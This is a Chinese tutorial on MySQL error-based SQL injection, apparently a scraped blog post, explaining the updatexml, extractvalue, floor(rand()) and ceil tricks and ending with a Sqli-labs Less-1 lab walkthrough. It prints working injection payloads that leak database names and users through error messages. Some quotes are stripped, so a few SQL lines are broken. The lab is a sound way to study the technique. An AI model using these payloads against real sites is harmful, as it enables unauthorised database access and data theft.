宁波网站建设的过程,wordpress 发视频,学做窗帘要下载哪个网站,做网站都要用到框架吗关注这个漏洞的其他相关笔记#xff1a;SQL 注入漏洞 - 学习手册-CSDN博客 0x01#xff1a;报错盲注 —— 理论篇
报错盲注#xff08;Error-Based Blind SQL Injection#xff09;是一种常见的 SQL 注入技术#xff0c;适用于那些页面不会直接显示后端处理结果的查询方式… 关注这个漏洞的其他相关笔记SQL 注入漏洞 - 学习手册-CSDN博客 0x01报错盲注 —— 理论篇
报错盲注Error-Based Blind SQL Injection是一种常见的 SQL 注入技术适用于那些页面不会直接显示后端处理结果的查询方式比如 delete、insert、update。
报错盲注的攻击原理攻击者通过向 SQL 查询中注入特定的函数迫使数据库在执行查询时产生错误并利用这些错误信息将攻击者所需要的信息回显回来。
0x0101MySQL 报错盲注 — 相关函数
1. updatexml() — xpath 报错注入
1.1 updatexml() 函数简介
MySQL 中的 updatexml() 函数用于更新 XML 文档的指定部分并返回修改后的文档。在需要更改存储在数据库中的 XML 数据的情况下它特别有用 -- updatexml() 语法UPDATEXML(xml_target, xpath_expr, new_xml)-- updatexml() 参数解析xml_target : 将要被修改的 XML 文档xpath_expr : 指定要更新的 XML 文档部分的 XPath 表达式new_xml : 将替换 xpath_expr 指定的现有内容的新 XML 内容
以下是该函数的一个正确的使用示例 -- 将原 XML 文档中的 nameJohn/name 替换为 nameBlue17/nameselect updatexml(rootnameJohn/name/root, /root/name, nameBlue17/name); 1.2 updatexml() 报错原理
使用 updatexml() 函数时如果 xpath_expr 格式出现错误则 MySQL 将会爆出 xpath 语法错误xpath syntax比如下面这个例子 select updatexml(rootnameJohn/name/root, whoami, nameBlue17/name); 1.3 updatexml() 报错实例
以下是一个使用 updatexml() 函数进行报错注入的攻击实例 select * from users where id1 and updatexml(1,concat(0x7e,user(),0x7e),1); 2. extractvalue() — xpath 报错注入
2.1 extractvalue() 函数简介
MySQL 中的 extractvalue() 函数用于从目标 XML 文档中提取和查询指定部分的文档 -- extractvalue() 语法EXTRACTVALUE(xml_document, xpath_expr)-- extractvalue() 参数解析xml_document : 包含 XML 文档的字符串或者一个列名xpath_expr : 指定要提取的节点的 xpath 表达式
以下是该函数的一个正确的使用示例 -- 查询 XML 文档中的 /root/name 节点中的值SELECT EXTRACTVALUE(rootnameBlue17/name/root, /root/name); 2.2 extractvalue() 报错原理
使用 extractvalue() 函数时如果 xpath_expr 格式出现错误则 MySQL 将会爆出 xpath 语法错误xpath syntax比如下面这个例子 SELECT EXTRACTVALUE(rootnameBlue17/name/root, ~whoami~); 2.3 extractvalue() 报错实例
以下是一个使用 extractvalue() 函数进行报错注入的攻击示例 insert into users values(4, Blue17, extractvalue(1,concat(0x7e,user(),0x7e)), 4); 3. floor() - 虚表主键重复报错
3.1 floor() 函数简介
MySQL 中的 floor() 函数用户返回小于或等于指定数值的最大整数
-- floor() 语法
FLOOR(number)-- floor() 参数解析
number : 需要向下取整的数值表达式。可以是列名、数值、算数表达式或函数返回值。
以下是该函数的一个正确的使用示例
select floor(4.7); 3.2 floor() 报错原理
floor() 报错注入的原理是 group by 在向临时表中插入数据时由于 rand() 多次计算导致插入临时表时主键重复从而报错。又因为报错前 concat() 中的 SQL 语句或者函数被执行所以该语句报错时抛出的主键是 SQL 语句或函数执行后的结果。 关联函数 rand() / rand(N)产生 0~1 (包含 0 和 1)之间的随机数。若指定一个整数参数 N则它被作用为种子值用来产生重复序列。 count(*)返回表的记录数行数 concat()将多个字符串连接成一个字符串 group_by根据 by 对数据按照指定字段进行分组去重会建立一张临时表。 ceil()向上取整 3.2.1 floor() 报错需要满足的条件 floor() 报错注入在 MySQL 版本 8.0 已失效据说在 7.3.4nts 中也已经失效了。 floor() 报错注入中查询用到的数据表内的数据必须 3 条。 以下函数未被 WAF 过滤count(*)、floor() 或 ceil()、rand()、group by。
3.2.2 floor() 报错原理 - 前置知识
在介绍 floor() 报错原理之前我们先来了解一下 MySQL 中的 count() 函数与 group by 结合使用时的工作流程。
首先将下面的语句复制到数据库中我们先搭建一个用于测试测环境
-- 创建 users 数据表
CREATE TABLE users ( id INT AUTO_INCREMENT PRIMARY KEY, uname VARCHAR(50) NOT NULL, pwd VARCHAR(255) NOT NULL
);-- 插入测试数据
insert into users values(1, admin, 1);
insert into users values(2, admin1, 2);
insert into users values(3, admin2, 3);
insert into users values(4, admin, 4); 接下来输入下面的语句来看一下 count(*) 与 group by 联合使用的结果
mysql select uname,count(*) from users group by uname;
------------------
| uname | count(*) |
------------------
| admin | 2 |
| admin1 | 1 |
| admin2 | 1 |
------------------
3 rows in set (0.00 sec)
让我们来分析一下产生此结果的流程这对后续理解 floor() 报错注入很重要。
当 count(*) 和 group by 碰到一起时MySQL 会建立一个虚拟表那时的工作流程如下
首先 MySQL 会建立一个空的虚拟表key 为主建不可重复这里的 key 你可以理解为 分组字段比如 group by unamekey 就是分组字段也就是 uname此时的虚表长这样
keycount(*)
接下来MySQL 会根据分组字段到虚表的 key 中查询如果 key 中没有相同的数据就将该数据添加进虚拟表中并设置 count 为 1。比如此时分组字段是 unameusers 数据表中第一个 uname 值为 admin虚表中的 key 中不存在 admin所以就将此值直接添加进虚拟表中并设置 count 为 1此时的虚拟表长这样
keycount(*)admin1
然后 MySQL 会继续查看 users 数据表的下一个 uname 值如果该值在虚拟表的 key 中没有则继续将该值添加进虚拟表中并设置其 count(*) 值为 1
keycount(*)admin1admin11
以此类推直到碰到下一个 uname 的值为 admin 前虚拟表中的数据如下
keycount(*)admin1admin11admin21
如果在虚拟表的 key 中遇到相同的数据则 MySQL 不会对数据进行插入而是会对 count(*) 进行加 1 的操作。比如此时在 users 数据表中又遇到了 uname 值为 admin该值在虚表中是存在的所以此时的虚表就变成了如下格式
keycount(*)admin1 1admin11admin21
流程还是很简单的下面我们开始真正进入 floor() 报错注入的原理。在此之前请记住虚表的一个特性主键不能重复
3.2.3 group by floor(rand(0) * 2) 报错原理
该语句报错的主要原因如下 group by 产生的虚表中主键不能重复。 rand(0) 函数执行的比 group by 插入虚拟表的速度要快。 floor(rand(0) * 2) 结果是存在规律的规律为0110110011....主要是前五个。 MySQL 官方提示查询的时候使用 rand()该值会被计算多次 这里的计算多次在 floor() 报错中的理解如下 在使用 group by 时floor(rand(0) * 2) 会被执行一次如果虚表中不存在记录插入虚表时会再执行一次。 为了便于理解我们先举一个特殊的例子
-- 01. 随便选择一个数据库创建一个空表 test
create table test(id int primary key,uname varchar(20)
);-- 02. 插入两条数据注意只要插入两条
insert into test values(0, admin);
insert into test values(1, admin1);-- 03. 查看 test 表中的数据
mysql select floor(rand(0) * 2),uname,concat(floor(rand(0) * 2), Look Me) from test;
-------------------------------------------------------------------
| floor(rand(0) * 2) | uname | concat(floor(rand(0) * 2), Look Me) |
-------------------------------------------------------------------
| 0 | admin | 0Look Me |
| 1 | admin1 | 1Look Me |
-------------------------------------------------------------------
2 rows in set (0.00 sec)-- 04. 反直觉的rand() group by
mysql select concat(floor(rand(0) * 2), Look Me),count(*) from test group by concat(floor(rand(0) * 2), Look Me);
-------------------------------------------------
| concat(floor(rand(0) * 2), Look Me) | count(*) |
-------------------------------------------------
| 1Look Me | 2 |
-------------------------------------------------
1 row in set (0.00 sec)
上面 04 实例所展示的结果是不是与我们的直觉相反从 03 来看 concat(floor(rand(0) * 2), Look Me) 查询出来的结果依次是0Look Me 与 1Look Me所以按照道理在计数时最终展示的表格内容应该如下
xcount(*)0Look Me11Look Me1
但事实却是1Look Me 被计数了两次。接下来我们来理理为什么会出现这种结果。
先来看看下面这条语句的执行结果
mysql select concat(floor(rand(0) * 2), Look Me) from test;
---------------------------------------
| concat(floor(rand(0) * 2), Look Me) |
---------------------------------------
| 0Look Me |
| 1Look Me |
---------------------------------------
2 rows in set (0.00 sec)
当我们为其增加 count(*) 和 group by 后 MySQL 的运算过程如下
首先MySQL 会建立一张虚表concat(floor(rand(0) * 2), Look Me) 是主键里面的值不可重复我们将 concat(floor(rand(0) * 2), Look Me) 简记为 Key方便讲解
concat(floor(rand(0) * 2), Look Me)count(*) floor(rand(0) * 2) 结果序列0110110011.... 接下来MySQL 会读取第一行 Key 的内容和虚表中的 Key 值进行比对此时MySQL 进行了第一次计算 concat(floor(rand(0) * 2), Look Me)得到结果为 0LookMe。MySQL 发现此值并不在虚表中存在所以决定将此值插入到虚表中并设置 count 值为 1。但是就在 MySQL 准备将计算结果插入虚表时由于 MySQL 的 Bug导致 concat(floor(rand(0) * 2), Look Me) 在插入之前又被计算了一次第二次计算导致 MySQL 实际插入的值为 1LookMe此时虚表中实际的内容为
concat(floor(rand(0) * 2), Look Me)count(*)1Look Me1
接着MySQL 读取第二行 Key 的内容和虚表中的 Key 值进行比对此时MySQL 第三次计算了 concat(floor(rand(0) * 2), Look Me)得到结果为 1LookMe该值在虚表中存在所以 MySQL 就会直接执行插入操作因为值在虚表中存在所以不会触发 rand() 多次计算的 BUG所以此时虚表展示的最终结果为
concat(floor(rand(0) * 2), Look Me)count(*)1Look Me11
这就是为什么最终我们看到的和实际我们想象的不一样的原因。
接下来我们往测试表中再次插入一条数据触发 floor() 报错
insert into test values(2,admin2);mysql select concat(floor(rand(0) * 2), Look Me) from test;
-----------------------------------------------
| uname | concat(floor(rand(0) * 2), Look Me) |
-----------------------------------------------
| admin | 0Look Me |
| admin1 | 1Look Me |
| admin2 | 1Look Me |
-----------------------------------------------
3 rows in set (0.00 sec)
继续之前的分析MySQL 读取第三行数据第四次计算 concat(floor(rand(0) * 2), Look Me) 的值为 0Look MeMySQL 发现虚表中没有该值对应的 Key所以准备执行插入操作。但是就在执行插入操作之前由于 MySQL 的 Bug其第五次计算了 concat(floor(rand(0) * 2), Look Me)导致实际插入的结果为 1Look Me此时的虚表变成了
xconcat(floor(rand(0) * 2), Look Me)count(*)1Look Me21Look Me?
可以看到MySQL 认为自己插入的是 0Look Me但是由于 Bug导致实际插入的是 1Look Me而 1Look Me 在虚表中是存在的由于虚表的 Key 唯一的特性所以 MySQL 此时就会产生报错
select concat(floor(rand(0) * 2), Look Me),count(*) from test group by concat(floor(rand(0) * 2), Look Me); 3.3 floor() 报错实例
以下是一个使用 floor() 函数进行报错注入的攻击示例
select concat(0x7e,user(),0x7e,floor(rand(0)*2))x,count(*) from test group by x; 4. ceil() - 虚表主键重复报错
4.1 ceil() 函数简介
MySQL 中的 ceil() 函数用于返回大于或等于指定数值的最小整数
-- ceil() 语法
CEIL(number)-- ceil() 参数解析
number : 需要向上取整的数值表达式。可以是列名、数值、算数表达式或函数返回值。
以下是该函数的一个正确的使用示例
select ceil(4.1); 4.2 ceil() 报错原理
ceil() 报错注入的原理与上面讲解的 floor() 报错原理 一致所以这里就不多说了。
4.3 ceil() 报错实例
以下是一个使用 ceil() 函数进行报错注入的攻击实例
select concat(0x7e,user(),0x7e,ceil(rand(0)*2))x,count(*) from test group by x; 0x02报错盲注 —— 实战篇
本节重点在于熟悉报错盲注的注入流程以及注入原理。练习靶场为 Sqli-labs Less-1 GET - Error based - Single Quotes - String靶场的配套资源如下附安装教程 实验工具准备 PHP 运行环境phpstudy_x64_8.1.1.3.zipPHP 7.X Apache MySQL SQLI LABS 靶场sqli-labs-php7.zip安装教程Sqli-labs Less-1 GET - Error based - Single Quotes - String 0x0201第一阶段 — 判断注入点 靶场提示 Please input the ID as parameter with numeric value 要我们输入一个数字型的 ID 作为参数进行查询那我们就按它的意思传入 id 看看网页返回的结果 可以看到服务器返回了对应 id 用户的登录名与登录密码。此时我们可以再输入几个数据进行测试
测试 Payload 01: ?id1 # 结果: Your Login name:Dumb Your Password:Dumb
测试 Payload 02: ?id2 # 结果: Your Login name:Angelina Your Password:I-kill-you
测试 Payload 03: ?id2-1 # 结果: Your Login name:Angelina Your Password:I-kill-you
测试 Payload 04: ?id1 # 结果: 报错 可以看到当我们传递 Payload 04 给服务器后端时页面显示了报错信息并且还返回了部分后端的查询模板。
0x0202第二阶段 — 报错盲注漏洞利用
既然能显示报错信息那么本关我们就可以直接使用报错注入使用 Union 联合注入也是可以的但是从本关的名称 Error based 就可以看出本关的考点是报错注入攻击 Payload 如下
-- 获取当前服务器正在使用的数据库的名称
攻击 Payload: ?id1 and updatexml(1,concat(0x7e,database(),0x7e),1) --
笔者备注: 0x7e 是字符 ~ 号用于标识服务器报出来的数据。 可以看到我们已经成功获取了当前站点使用的后端数据库的信息。以上就是报错盲注的基本利用方式。后面想查啥直接往报错注入的回显点里写就可以了笔者在这里就不多说了。